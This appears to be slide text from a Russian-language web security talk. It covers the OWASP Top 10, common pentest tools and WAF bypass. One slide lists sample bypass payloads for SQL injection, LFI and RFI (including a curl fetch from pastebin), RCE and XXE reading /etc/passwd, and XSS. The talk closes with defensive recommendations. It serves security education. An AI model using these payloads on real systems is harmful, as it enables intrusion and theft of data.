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(не)безопасный веб:
узнаем об уязвимостях раньше 

злоумышленника
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OWASP Top10

● А1 - Инъекции;
● А2 - Недостатки аутентификации;
● А3 - Разглашение конфиденциальных данных;
● А4 - Внешние сущности XML (XXE);
● А5 - Недостатки контроля доступа;
● А6 - Некорректная настройка параметров безопасности;
● А7 - Межсайтовое выполнение сценариев (XSS);
● А8 - Небезопасная десериализация;
● А9 - Использование компонентов с известными 

уязвимостями;
● А10 - Недостатки  журналирования и мониторинга.
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Nmap
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Dirb/Dirbuster
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SQLmap 
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XSStrike
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BurpSuite
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OWASPZap
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Wapiti
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Acunetix Web Vulnerability 
Scanner 
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WAF и его обход

https://github.com/nemesida-waf/waf-bypass

https://github.com/nemesida-waf/waf-bypass


www.pentestit.ru

SQLi:
q=` union/**/select+1,2,3,4 -- -
q=` uni%0bon+se%0blect+1,2,3,4 -- -
q=` UNunionION+SEselectLECT+1,2,3,4 -- -

LFI:
q=../settings.php
q=../e?c/pa??wd

RFI:
… curl -s http://pastebin.com/raw/… -o …
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RCE:
q=;system(`cat%20/etc/passwd`)

XXE:
<!ENTITY sp SYSTEM «file:///etc/passwd»> ]>

XSS:
<A/+/onmouseover+=+(confirm)()>alert
<img onerror=a &#x06c;ert(1) src=a>

JSON:
`»><script>alert(context)</script>
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Безопасность:
● Используем лучшие практики при написании 

кода;
● Периодически проводим тестирование на 

проникновение;
● Анализируем исходный код на уязвимости;
● Используем средства мониторинга и выявления 

атак: SIEM, WAF.
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